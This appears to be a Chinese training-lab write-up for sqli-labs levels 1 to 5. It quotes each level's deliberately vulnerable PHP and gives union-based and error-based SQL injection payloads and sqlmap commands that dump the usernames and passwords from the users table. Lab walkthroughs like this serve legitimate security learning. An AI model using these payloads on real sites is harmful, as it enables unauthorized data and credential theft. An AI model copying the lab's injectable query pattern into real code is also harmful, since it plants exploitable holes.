sqli-labs 1-5 (手注和sqlmap)

news2024/12/27 15:34:15

sql注入

        就是指web运用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数代入数据库查询,攻击者可以构造不同的SQL语句来实现对数据库的任意操作。

        当然,SQL注入按照不同的分类方法可以分为很多种,如报错注入、盲注、Union注入等。

(2条消息) SQL注入基础知识._zap sql注入_0e1G7的博客-CSDN博客

sqlmap

        SQLmap是一个自动化的SQL注入工具,可用于检测和利用Web应用程序中的SQL注入漏洞。
        其原理是通过构造恶意的SQL查询语句,利用应用程序的漏洞来执行SQL注入攻击。具体一点就是,SQLmap首先分析目标网站的结构和参数,尝试检测是否存在SQL注入漏洞。如果存在漏洞,它将尝试利用不同的技术(如布尔盲注、时间盲注、联合查询注入等)来获取数据或者直接对数据库进行修改。

主要步骤

  1、 识别目标网站:SQLmap会对目标网站进行扫描,识别是否存在注入漏洞。
                2、获取数据结构:如果目标网站存在注入漏洞,SQLmap会获取数据库的数据结构,包括表名、列名、数据类型等。
                3、执行注入攻击:SQLmap会使用不同的注入技术来执行攻击,包括基于错误的注入、基于布尔盲注、基于时间盲注、基于联合查询注入等。
                4、获取数据或者修改数据:一旦注入成功,SQLmap可以获取数据库中的数据,或者修改数据库中的数据。
 

 几个重要参数:
      -v        REVBOSE信息级别:

                0:只显示python错误以及严重的信息。

                1:只显示sqlmap的基本信息,如版本号和版权信息等。(默认)

                2:显示sqlmap的基本信息和调试信息,如 SQL 查询语句、HTTP 请求头和响应头等。

                3:显示第二级别的信息,并且在请求和响应中包含更多的数据,如响应正文、cookies、headers 等。

                4:显示第三级别的信息,并且在响应正文中包含所有的数据库查询结果。

                5:显示第四级别的信息,并且在每个 HTTP 请求和响应中包含完整的数据

                6:显示所有的信息,包括第五级别的信息和更多的调试信息,如 HTTP 请求体中的参数、发送的 SQL 查询语句等。

        -risk-RISK        执行的测试风险级别:

                1:仅对目标进行最基本的 SQL 注入测试,不包括时间基注入、布尔盲注入等高级技术,适用于对目标进行初步测试,快速了解其是否存在 SQL 注入漏洞的情况。

                2:对目标进行深度 SQL 注入测试,包括时间基注入、布尔盲注入等高级技术,适用于对目标进行详细的测试,发现可能存在的 SQL 注入漏洞。

                3:与级别 2 相同,但同时还会尝试进行更加敏感和危险的测试,如 SQL 查询文件系统、SQL shell 等,适用于对目标进行极其详细的测试,发现潜在的高级 SQL 注入漏洞。

-level-LEVEL        执行测试的等级:

                1:仅进行最基本的 SQL 注入测试,不包括时间基注入、布尔盲注入等高级技术,适用于对目标进行初步测试,快速了解其是否存在 SQL 注入漏洞的情况。

                2:对目标进行常见的 SQL 注入测试,包括时间基注入、布尔盲注入等基本技术,适用于对目标进行基本测试,发现可能存在的 SQL 注入漏洞。

                3:与级别 2 相同,但同时还会尝试使用一些额外的 SQL 注入测试技术,如错误信息注入、堆叠查询等,适用于对目标进行详细的测试,发现潜在的高级 SQL 注入漏洞。

                4:与级别 3 相同,但同时还会尝试使用更多的高级 SQL 注入测试技术,如基于时间的盲注入、基于报错的注入等,适用于对目标进行较为深入的测试,发现更难以利用的 SQL 注入漏洞。

                5:与级别 4 相同,但同时还会尝试使用更多的高级 SQL 注入测试技术,如基于布尔的盲注入、联合查询注入等,适用于对目标进行最为深入和全面的测试,发现所有可能存在的 SQL 注入漏洞。
 

Less-1

(知识点:基于错误的GET单引号字符型注入,union查询和sqlmap方法)

直接看源码

<?php
//including the Mysql connect parameters.包括 Mysql 连接参数。
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 取变量
if(isset($_GET['id']))  //判断GET获取的id不能为空
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.将连接参数记录到文件中进行分析。
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  //sql语句
echo $sql;
echo "<br>";

$result=mysql_query($sql);  //发送一条 MySQL 查询。
$row = mysql_fetch_array($result);//函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

来看sql语句分析一下

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  //sql语句

这句话执行了我们sql的查询操作,通过GET方法获得的id,那么我们只需要将id提前使用单引号闭合就可以了,然后使用--+或者#注释后面的语句后面的语句就不会执行了,所以我们在使用常规注入找到回显点之后,就可以使用union联合查询执行我们想要使用的语句。

union联合查询

这题也没有什么过滤就直接来payload了,具体步骤看之前博客

?id=1%27%20order%20by%203--+

?id=-1%27%20union%20select%201,2,3--+

?id=-1%27%20union%20select%201,2,database()--+

#爆表
?id=-1%27%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())--+

#爆字段名
?id=-1%27%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)--+

#获取数据
?id=-1%27%20union%20select%201,2,(select%20group_concat(concat_ws("~",username%20,%20password))%20from%20users)--+

sqlmap

直接梭就行

sqlmap -u "url?id=1" -D security -T users -C username,password --dump --batch 

Less-2

(知识点:基于错误的GET整型注入,同样两种方法)

操作和Less-1一样,一步步爆出用户名和密码,只不过闭合报错的条件改变了。直接看源码:

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
echo $sql;
echo "<br>";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else
		{ 	
		echo "Please input the ID as parameter with numeric value";
		}

?>

我们直接来看这一句sql语句,不需要我们去闭合了,直接使用联合查询就行,且没有过滤

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

直接来payload:

#手注
-1%20union%20select%201,2,(select%20group_concat(concat_ws("~",username%20,%20password))%20from%20users)--+

#sqlmap
python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=1 -D security -T users -C username,password --dump --batch

Less-3

(知识点:基于错误的GET单引号变形字符型注入,同样两种方法)

操作和之前一样,一步步爆出用户名和密码,只不过闭合报错的条件改变了。直接看源码:

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
echo $sql;
echo "<br>";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

我们直接来看这一句sql语句,我们去闭合')就行,直接使用联合查询就行,且没有过滤

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

直接来payload:

#手注
-1')%20union%20select%201,2,(select%20group_concat(concat_ws("~",username%20,%20password))%20from%20users)--+

#sqlmap
python sqlmap.py -u http://localhost/sqli-labs-master/Less-3/?id=1 -D security -T users -C username,password --dump --batch

Less-4

(知识点:基于错误的GET双引号字符型注入,同样两种方法)

操作和之前一样,一步步爆出用户名和密码,只不过闭合报错的条件改变了。直接看源码:


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
echo $sql;
echo "<br>";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

我们直接来看这一句sql语句,我们去闭合")就行,直接使用联合查询就行,且没有过滤

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

直接来payload:

#手注
-1")%20union%20select%201,2,(select%20group_concat(concat_ws("~",username%20,%20password))%20from%20users)--+

#sqlmap
python sqlmap.py -u http://localhost/sqli-labs-master/Less-4/?id=1 -D security -T users -C username,password --dump --batch

Less-5

(知识点:双注入GET单引号字符型报错注入,同样两种方法)

直接看源码

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo $sql;
echo "<br>";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

看到sql语句和echo出来的打印错误的错误函数,只要闭合了单引号就可以用报错注入

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";


print_r(mysql_error());

报错注入的概念:

(1)通过floor报错 and (select 1 from (select count(*),concat((
payload),floor (rand(0)*2))x from information_schema.tables group by
x)a) 其中payload为你要插入的SQL语句 需要注意的是该语句将 输出字符长度限制为64个字符
(2)通过updatexml报错 and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
(3)通过extractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位。

直接来payload及其解释:

用updatexml函数错误 
1' union select updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
第一步(爆库):1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
第二步(报表):1' union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1) --+
第三步(爆用户名):1' union select updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+
第四步(爆密码):1' union select updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+
 省略三四步1' union select 1,2, (updatexml(1,concat(1,(select username from users limit 0, 1),1,(select password from users limit 0,1)),1)) %23            




或者用floor报错 (需要多点几下才能出效果)
第一步(爆库):1' union select 1, count(*), concat((select database()), floor(rand()*2)) a from information_schema.tables group by a  --+
第二步(爆表名):1' union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema = 'security'), floor(rand()*2)) a from information_schema.tables group by a  %23
第三步(爆列名):1' union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), floor(rand()*2)) a from information_schema.tables group by a  %23
第四部(爆字段内容获取用户表的账号和密码):1' union select 1, count(*), concat((select concat(username,'~',password) from users  limit 0,1), floor(rand()*2)) a from information_schema.tables group by a  --+
其他账号密码更改limit后面的0为1,2,3,4就可以出来了。




用extractvalue报错
?id=-1'and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+        
数据库
?id=-1'and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) --+
爆出一个数据库
?id=-1'and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
从当前数据库里爆出一个表名
?id=-1'and extractvalue(1,concat(0x7e,( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1 ),0x7e)) --+
从当前数据库里的" users "表里爆出一个字段名来
?id=-1'and extractvalue(1,concat(0x7e,( select concat(id,0x7e,username,0x7e,password) from users limit 0,1),0x7e)) --+
从" users "表里对应的列名中爆出一个数据来



用sqlmap
使用-o参数优化,--batch参数进行跳过,--threads参数开启更多线程
添加--technique参数加速,--dbms指定

python sqlmap.py -u http://localhost/sqli-labs-master/Less-5/?id=1 --dbms mysql --technique E -o --threads=10 -D security -T users -C username,password --dump --batch

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/757478.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

高等数学❤️第一章~第二节~极限❤️极限的概念与性质~函数极限(自变量趋于有限值时的极限)详解

【精讲】高等数学中函数极限&#xff1a;自变量趋于有限值时的极限 博主&#xff1a;命运之光的主页 专栏&#xff1a;高等数学 目录 【精讲】高等数学中函数极限&#xff1a;自变量趋于有限值时的极限 导言 二、函数极限自变量趋于有限值的判定方法 三、函数极限自变量趋于…

回溯算法详解(Back Tracking)

本文已收录于专栏 《算法合集》 目录 一、简单释义1、算法概念2、算法目的3、算法思想 二、核心思想三、图形展示四、算法实现1、实现思路2、代码实现TreeNode 类将数组处理成二叉树结构并且返回根节点进行搜索 五、算法分析1、时间复杂度2、空间复杂度3、算法稳定性 一、简单释…

RestFul风格讲解

以前是localhost:8080/user?methodadd&uid1; RestFul风格是以/接上的 localhost:8080/user/马云/6562 package com.qf.controller; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annot…

freemarker模板在客服域的使用场景及用法介绍

&#x1f34a; Java学习&#xff1a;社区快速通道 &#x1f34a; 深入浅出RocketMQ设计思想&#xff1a;深入浅出RocketMQ设计思想 &#x1f34a; 绝对不一样的职场干货&#xff1a;大厂最佳实践经验指南 &#x1f4c6; 最近更新&#xff1a;2023年7月15日 &#x1f34a; 点…

从零搭建秒杀服务

1. 前言 目的&#xff1a;该项目只用于技术交流&#xff0c;不用于过多商业用途。 适用&#xff1a;可用于简历亮点、毕业答辩等。 2. 项目成果 2.1 秒杀主页 包含5个功能点&#xff1a; ①、Product Name&#xff1a;秒杀商品名称 ②、Product Image&#xff1a;秒杀商…

Multiframe-to-Multiframe Network for Video Denoising

Multiframe-to-Multiframe Network for Video Denoising 摘要 现存方法&#xff1a;多相邻帧恢复一个干净帧&#xff0c;效果好但是由于按顺序去噪考虑可能造成视频闪烁&#xff1b; 本文&#xff1a;提出一个多帧对多帧的去噪模型&#xff0c;从连续噪声帧中恢复多个干净帧…

【通览一百个大模型】GLM(THU)

【通览一百个大模型】GLM&#xff08;THU&#xff09; 作者&#xff1a;王嘉宁&#xff0c;本文章内容为原创&#xff0c;仓库链接&#xff1a;https://github.com/wjn1996/LLMs-NLP-Algo 订阅专栏【大模型&NLP&算法】可获得博主多年积累的全部NLP、大模型和算法干货资…

基础算法-【区间合并】

题目 给定 n 个区间 [li,ri]&#xff0c;要求合并所有有交集的区间。 注意如果在端点处相交&#xff0c;也算有交集。 输出合并完成后的区间个数。 例如&#xff1a;[1,3] 和 [2,6] 可以合并为一个区间 [1,6]。 输入格式 第一行包含整数 n。 接下来 n行&#xff0c;每行…

《远见》阅读笔记

不同的环境&#xff0c;不同的职业&#xff0c;职业生涯的建议并没有什么不同 找到热爱的工作&#xff0c;建立热爱的生活 如何思考职业远景 如何分配时间 如何扩张人脉 职业生涯决策框架 三个部分 职场思维、框架、工具实用性建议和案例现实生活为基础&#xff0c;平衡职…

MacOS触控板缩放暂时失灵问题解决

我的系统版本为Monterey 12.5.1&#xff0c;亲测有效 直接创建脚本xxx.sh&#xff0c;并在终端执行脚本bash xxx.sh即可解决此问题&#xff0c;脚本内容如下&#xff1a; #!/bin/bashkillall Finder #kill Finder如不需要可以删除 killall Dock #kill Dock 如不需要可以删…

一文详细介绍什么是数据标注?

机器学习和深度学习算法都依赖于数据&#xff0c;为构建可靠的人工智能模型&#xff0c;需要为算法提供结构良好且标注良好的数据。 为了让机器学习算法学习如何完成特定任务&#xff0c;我们必须标注它们用于训练的数据。换句话说&#xff0c;标注数据很简单&#xff0c;但并不…

pytorch深度学习 之二 拟合数据 从线性到非线性

目的 深入了解线性回归的使用方法&#xff0c;使用非线性激活函数&#xff0c;同时使用pytorch的nn模块&#xff0c;最后使用神经网络来求解线性拟合&#xff0c;只有深入了解了基础&#xff0c;才能做出更高水平的东西。 上一章 神经网络梯度下降和线性回归 拟合定义数据 …

php代码审计15.3之phar伪协议与反序列化

文章目录 1、基础2、生成phar格式文件3、例子4、小试牛刀 1、基础 在漏洞的利用过程之中&#xff0c;我们需要先本地生成phar格式的文件&#xff0c;而生成phar格式的文件&#xff0c;需要将php.ini中的phar.readonly配置项配置为0或Off。目标服务器端是不必开启此配置&#x…

设计模式07-责任链模式

责任链模式属于行为设计模式&#xff0c;常见的过滤器链就是使用责任链模式设计的。 文章目录 1、真实开发场景的问题引入2、责任链模式讲解2.1 核心类及类图2.2 基本代码 3、利用构建者模式解决问题4、责任链模式的应用实例5、总结5.1 解决的问题5.2 使用场景5.3 优缺点 1、真…

计算机的工作原理(操作系统篇)

文章目录 1.操作系统的定位1.硬件2.驱动3.操作系统内核4.系统调用 2.进程3.PCB中有哪些描述进程的特征4.内存管理 1.操作系统的定位 先看一张图: 1.操作系统是最接近硬件的软件,是软件/硬件/用户之间交互的媒介; 2.操作系统起到一个管理的作用 1)对下,要管理硬件设备 2)对上,…

【100天精通python】Day4:运算符

目录 1 算数运算符 2 赋值运算符 3 比较&#xff08;关系运算符&#xff09; 4 逻辑运算符 5 位运算符 6 运算符的优先级 以下是一个完整的示例代码&#xff0c;用于计算学生三科成绩的分差和平均分&#xff1a; 1 算数运算符 Python中的算术运算符包括&#xff1a; 加…

如何在pd里设置win10虚拟机command+w关闭chrome浏览器的一个标签页

背景 在windows&#xff0c;我们知道 ctrlw 在chrome浏览器里可以关闭一个标签页&#xff0c;但是对于MacOS&#xff0c;pd的虚拟机里安装win10后&#xff08;pdparallel desktop)&#xff0c;commandw默认并不是料想中的相当于ctrlw关闭一个标签页&#xff0c;而是关闭所有的…

MPP概述

前言 最近忙于工作&#xff0c;有一段时间没更新自己的博客了&#xff0c;也就意味着囤积了一波需要梳理总结并记录的知识点&#xff0c;但可以保证的是所有都是零星的知识点&#xff0c;不会涉及工作内容。 一、MPP简介 MPP (Massively Parallel Processing)&#xff0c;即大…

Cisco学习笔记(CCNA)——Internetworking

Internetworking Internetworking Basics 什么是网络&#xff1f; 计算机网络&#xff1a;具有独立功能的多台计算机及其外部设备&#xff0c;通过通信线路连接起来 网络设备 Hub&#xff08;集线器&#xff09; 优点&#xff1a;便宜、操作简单 缺点&#xff1a;共享型、…

Set与Map的使用 + 二叉搜索树与哈希桶的大白话讲解和图解+完整代码实现(详细注释)

文章目录 前言一、Set与Map概念及场景模型纯Key模型Key-Value模型 Map 的使用Set 的使用 二、二叉搜索树什么是二叉搜索树代码实现二叉搜索树查找操作插入操作删除操作(难点)cur这个节点没有左子树(cur.left null)cur这个节点没有右子树(cur.right null)cur这个节点没有左右子…